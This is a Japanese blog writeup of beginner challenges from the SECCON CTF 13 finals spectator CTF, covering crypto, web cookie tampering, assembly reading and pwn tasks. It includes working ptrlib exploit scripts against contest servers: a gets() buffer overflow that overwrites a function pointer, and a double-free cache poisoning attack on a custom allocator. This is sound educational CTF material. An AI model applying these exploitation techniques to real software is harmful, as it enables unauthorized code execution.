Skip to main content

Command Palette

Search for a command to run...

SECCON CTF 13 決勝観戦CTF Writeup

Updated
5 min read

かなり久しぶりにCTFに参加できた1ので、初めてWriteupを書いてみようと思います。

解けた問題

Welcome

SECCON CTF 13 決勝観戦CTFへようこそ!
Flag: Alpaca{welcome_to_seccon_ctf_13_finals_booth}

[重要] 初心者の方への補足

このCTFには、Pwn, Rev, Crypto, Web, Misc の5カテゴリーから約20の問題があります。 CTF 開始時は、大雑把ではありますが、運営が想定した難易度順に問題が並んでいます。 特に初心者向けである問題に Beginner カテゴリーを明示的につけています。 まずは Beginner 問をいくつか見てみて、興味があるものから解いてみるのがおすすめです。

開始時は運営が想定した難易度順に並んでいますが、問題が解かれ始めると、解かれた数(solves)の多い順に問題が並びます。 solves の多い問題は取り組みやすいことが多く、逆に solves が少ない問題は経験者も解くのが難しいものかもしれません。 初心者向けとはいっても、「典型的である」という理由で難易度の高い問題も出題しています。

ChatGPT 等の AI の使用は全く問題なく、少しでも詰まったら AI を活用することを推奨 します。 とにかく手を動かしてわからない箇所を調べてみましょう!

パソコンがない方へ

モバイル環境でCTFに挑戦できる Google Colab ノートブックを用意しています。 必要に応じて使用してください。 少なくとも Beginner 問は、このノートブックを使用して数行で解けることを確認済みです。

問題文にFlagがあります。

Alpaca{welcome_to_seccon_ctf_13_finals_booth}

Long Flag

出力からフラグを復元してください🐍

import os
from Crypto.Util.number import bytes_to_long

print(bytes_to_long(os.getenv("FLAG").encode()))

出力:

35774448546064092714087589436978998345509619953776036875880600864948129648958547184607421789929097085

Flagがbytes_to_longされて渡されます。long_to_bytesでもとに戻してあげればOK。

from Crypto.Util.number import long_to_bytes

o = 35774448546064092714087589436978998345509619953776036875880600864948129648958547184607421789929097085
print(long_to_bytes(o)) # Alpaca{LO00OO000O00OOOO0O00OOO00O000OOONG}

Alpaca{LO00OO000O00OOOO0O00OOO00O000OOONG}

🍪

ある条件を満たすとフラグが得られるようです

import Fastify from "fastify";
import fastifyCookie from "@fastify/cookie";

const fastify = Fastify();
fastify.register(fastifyCookie);

fastify.get("/", async (req, reply) => {
  reply.setCookie('admin', 'false', { path: '/', httpOnly: true });
  if (req.cookies.admin === "true")
    reply.header("X-Flag", process.env.FLAG);
  return "can you get the flag?";
});

fastify.listen({ port: process.env.PORT, host: "0.0.0.0" });

Webサイトにアクセスすると、admin=falseというcookieが渡されます。ソースコードによれば、admin=trueのときにFlagが返されるようです。

Burp Suiteなどのローカルプロキシを用いても良いですが、ここでは簡単にブラウザで攻撃してみましょう。Firefoxでは、Web developer toolsのStrage欄で、cookieの読み書きができます。ここで、adminをtrueに書き換え、Network欄を見ながらサイトをリロードしてあげます。すると、Response HeaderにFlagが出てきます。

余談ですが、私はX-FlagでFlagが返されることを読み飛ばしており、時間を無駄にしてしまいました…

Alpaca{7h3_n4m3_c0m35_fr0m_B3cky}

Beginner's Flag Printer

フラグを出力するアセンブリです🤖

.LC0:
        .string "Alpaca{%x}\n"
main:
        push    rbp
        mov     rbp, rsp
        sub     rsp, 16
        mov     DWORD PTR [rbp-4], 539232261
        mov     eax, DWORD PTR [rbp-4]
        mov     esi, eax
        mov     edi, OFFSET FLAT:.LC0
        mov     eax, 0
        call    printf
        mov     eax, 0
        leave
        ret

渡されたアセンブリの頭に"Alpaca{%x}\n"なる文字列があるので、%xに渡される数字を特定すれば良さそうです。

ここで、少し下に539232261なる怪しい数字が見えます。16進数にしてあげると20240805であり、これがFlagとなります。

Alpaca{20240805}

parseInt

a < b && parseInt(a) > parseInt(b) となるような a, b を見つけてください🐟

const rl = require("node:readline").createInterface({
    input: process.stdin,
    output: process.stdout,
});

rl.question("Input a,b: ", input => {
    const [a, b] = input.toString().trim().split(",").map(Number);
    if (a < b && parseInt(a) > parseInt(b))
        console.log(process.env.FLAG);
    else
        console.log(":(");
    rl.close();
});

問題文にある通り、a < bかつparseInt(a) > parseInt(b)であるabを探します。

こういったときは、とりあえず大きな数を入力してみましょう。parseIntに1000000000000000000000を渡すと、1が返ってきました。そこで、a = 2, b = 1000000000000000000000を入力してあげると、Flagが入手できます。

Alpaca{..ww.w....<')))><.~~~}

trippple

出力からフラグを復元してください🐍

import os
from Crypto.Util.number import getPrime, bytes_to_long

m = bytes_to_long(os.getenv("FLAG").encode())
p = getPrime(96)
n = p * p * p
e = 65537
c = pow(m, e, n)

print(f"{n,c=}")

出力:

n,c=(272361880253535445317143279209232620259509770172080133049487958853930525983846305005657, 69147423377323669983172806367084358432369489877851180970277804462365354019444586165184)

RSA暗号で、nがpの3乗となっています。

とりあえず、\(p = n^{1/3}\)としてpが求められます。ここで、\(\phi(n) = p^2 (p - 1)\)となるので、あとはいつもどおり復号することができます。

$ sage -q
from Crypto.Util.number import long_to_bytes
n = 272361880253535445317143279209232620259509770172080133049487958853930525983846305005657
c = 69147423377323669983172806367084358432369489877851180970277804462365354019444586165184
e = 65537
p = n^(1/3)
phi = p^2 * (p - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
long_to_bytes(m) # b'Alpaca{h1t&4w4y_k4nzum3}'

Alpaca{h1t&4w4y_k4nzum3}

danger of buffer overflow

危険です

gets(buf)を呼んでおり、明らかにBuffer Overflowを起こせますね。

おあつらえむきに、bufの下に関数ポインタがあります。win関数のアドレスももらえるようなので、関数ポインタにwinのアドレスを入れてあげましょう。

from ptrlib import *

r = remote("34.170.146.252", 24310)

r.recvuntil("address of print_flag func: ")
win_ptr = int(r.recvline()[2:], 16)
logger.info(f"win_ptr: {hex(win_ptr)}")
r.sendlineafter("gets to buf: ", b"A" * 8 + p64(win_ptr))

r.interactive()

Alpaca{1_r3ally_d0nt_w4nt_t0_us3_g3t5}

play with memory

1, 2, 3, 4, 5!

12345と解釈されるバイト列を送るとFlagをもらえます。エンディアンに気をつけながら送信しましょう。

from ptrlib import *

r = remote("34.170.146.252", 57944)

r.sendlineafter("input your number!: ", b"\x39\x30") # 0x3039 = 12345

r.interactive()

Alpaca{l1ttl3_end1an_1s_qu1t3_h4rd_t0_us3d_t0}

42

出力からフラグを復元してください🐍

import os
from Crypto.Util.number import getPrime, bytes_to_long

x = bytes_to_long(os.getenv("FLAG").encode())
for _ in range(42):
    x *= getPrime(42)
print(x)

出力:

1147519914005635970823022779519580521609222940350823007699842537827644738629829657046897975782350987748029018405699017377382521676899556171556649128260865812262043303782475632488849236816194782530154901066736272457909268699844626557409460652217501658644287801649083260640392194864370700199619482572398308537257922259125395585581757757644945754520977388691814074631081409677094992839775104691433743609551833747629636402523522392312458111656977789142053773849669780021688811768524291886161405435708715493344047580746854894532523408006689911316576153711061177239836663374119954672786387

Flagが42bitの適当な素数42個と掛けられています。

素因数分解してあげると、42bitの素数が42個と、明らかに42bit以下、以上の素数が出てきます。42bitでない数を掛け合わせたものがFlagだと推定できます。

$ sage
from Crypto.Util.number import long_to_bytes
x = 1147519914005635970823022779519580521609222940350823007699842537827644738629829657046897975782350987748029018405699017377382521676899556171556649128260865812262043303782475632488849236816194782530154901066736272457909268699844626557409460652217501658644287801649083260640392194864370700199619482572398308537257922259125395585581757757644945754520977388691814074631081409677094992839775104691433743609551833747629636402523522392312458111656977789142053773849669780021688811768524291886161405435708715493344047580746854894532523408006689911316576153711061177239836663374119954672786387
factor(x) # 3 * 23 * 2205496470181 * 2219555763769 * 2233425033163 * 2239061295271 * 2259023796727 * 2284404776567 * 2291370145123 * 2416633488457 * 2419508288471 * 2434758174067 * 2500841090549 * 2503738093453 * 2573045476847 * 2680923822481 * 2778916602433 * 2788061078027 * 2796482148853 * 2874516939989 * 3132015040537 * 3139228584347 * 3155640636023 * 3194390562137 * 3284689931333 * 3395646793247 * 3450918694961 * 3542857468897 * 3558548169959 * 3723346041941 * 3734921299007 * 3741754738429 * 3881331302137 * 3955397572079 * 3975840251293 * 4072584462841 * 4130457980197 * 4158189715259 * 4194605058227 * 4207350753019 * 4244137496801 * 4299476105167 * 4327600625807 * 4333485694679 * 64527453873583290390233 * 360296424708927327075211324489217
c = 3 * 23 * 64527453873583290390233 * 360296424708927327075211324489217
long_to_bytes(c) # b'Alpaca{42_is_6_times_7.}'

Alpaca{42_is_6_times_7.}

Can U Keep A Secret?

Or ...?

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

int main() {
    srand(time(NULL));
    unsigned int secret = rand(), input;
    printf("secret: %u\n", secret);

    // can u keep a secret??/
    secret *= rand();
    secret *= 0x5EC12E7;
    scanf("%u", &input);
    if(input == secret)
        printf("Alpaca{REDACTED}\n");
    return 0;
}

乱数が与えられたあと、それに新たな乱数と固定値を掛けた値をあてることができればFlagをもらえるようにみえますが、実際には異なります。

与えられたソースコードの11行目のコメントの末尾が??/となっていますが、これをtrigraph(一部の記号をISO 646に含まれる文字のみで表す方法)として解釈すると、\となります。trigraphはc++14まではデフォルトで有効でしたが、c++17からは明示的に-trigraphsを与えないと無効となりました2

今回のバイナリは、ディスアセンブラを通すとわかる通り、trigraphが有効になっており、ソースコード12行目のsecret *= rand()の処理が消えています。そこで、単純に、与えられたsecret0x5EC12E7をかければ良いです。secretはint型なので、オーバーフローを考慮してあげましょう。

私はtrigraphを知らなかったので、なかなか答えが合わず時間をかけてしまいました…

from ptrlib import *

r = remote("34.170.146.252", 59556)

r.recvuntil("secret: ")
secret = int(r.recvline())
logger.info(f"secret: {secret}")

new_secret = (secret * 0x5EC12E7) & 0xFFFFFFFF
logger.info(f"new_secret: {new_secret}")

r.sendline(str(new_secret))

r.interactive()

Alpaca{u_r_pwn_h3r0}

cache crasher

tapioca rice

オレオレmallocの問題です。freeするときに必要な確認を怠っており、double-freeが可能なことが脆弱性です。

cacheの動きを詳細に追ってみましょう。

始めにallocを呼びます。このとき、まだcacheには何も繋がれていません。

free(0)を呼ぶと、cacheにはbuf[0]が繋がれます。

ここでもう一度free(0)を呼んでみましょう。すると、buf[0].next_chinkが自分自身を指すようになります。

この状態でallocを呼び、0xdeadbeefを入力してみましょう。

chunkはUnion型なので、buf[0].next_chunkbuf[0].valと重なっており、buf[0].valに入力した値がbuf[0].next_chunkに入ることに気をつけます。

cacheに任意アドレスを繋げられました。allocを呼びましょう。

cacheが入力したアドレスを指すようになりました。この状態でallocを呼ぶことで、0xdeadbeefへ書き込みできます。

今回はfunc_ptrが用意されているので、そこにprint_flagのアドレスを入力できればFlagを入手できます。

from ptrlib import *

def alloc(val):
    r.sendlineafter("opcode(0: alloc, 1: free): ", "0")
    r.sendlineafter("data(integer): ", str(val))

def free(ind):
    r.sendlineafter("opcode(0: alloc, 1: free): ", "1")
    r.sendlineafter("what index to free: ", str(ind))

r = remote("34.170.146.252", 45969)

r.recvuntil("address of print_flag: ")
print_flag = int(r.recvline()[2:], 16)
logger.info(f"print_flag: {hex(print_flag)}")
r.recvuntil("address of funcptr: ")
func_ptr = int(r.recvline()[2:], 16)
logger.info(f"func_ptr: {hex(func_ptr)}")

alloc(0xcafebafe)
free(0)
free(0)
alloc(func_ptr)
alloc(0xcafebafe)
alloc(print_flag)

r.interactive()

Alpaca{ar1g4t0u_alloc4t0r}

解けなかった問題

Flag Printer

フラグを出力するアセンブリです🤖

こういった問題はAIが得意そうと思って投げてみたのですが、間違ったFlagしか教えてもらえませんでした。しかしsatokiさんのwriteupによればChatGPTで解けるらしいので、プロンプトの問題かもしれません。

Alpaca Wakekko

al al al al paca paca paca paca

軽く読んだだけでタイムアップだったので、あとでupsolveしたいですね。

getssystemを呼んでいるので、それらをうまく使うのかな?

まとめ

これまでオンサイトでのCTFに出たことがなかったので、SECCONの雰囲気を感じながら他の競技者の方と問題を解けて楽しかったです。CTFへのモチベーションも上がりました。

このように貴重な企画を運営し、問題等を準備してくださった皆様、ありがとうございました。


  1. 実は、最後に時間を取って参加できたのは、約1年前のPico CTFだったりします。この春休みにはしっかり時間をとって参加したいという機運があります。

  2. https://developers.redhat.com/articles/2021/08/06/porting-your-code-c17-gcc-11#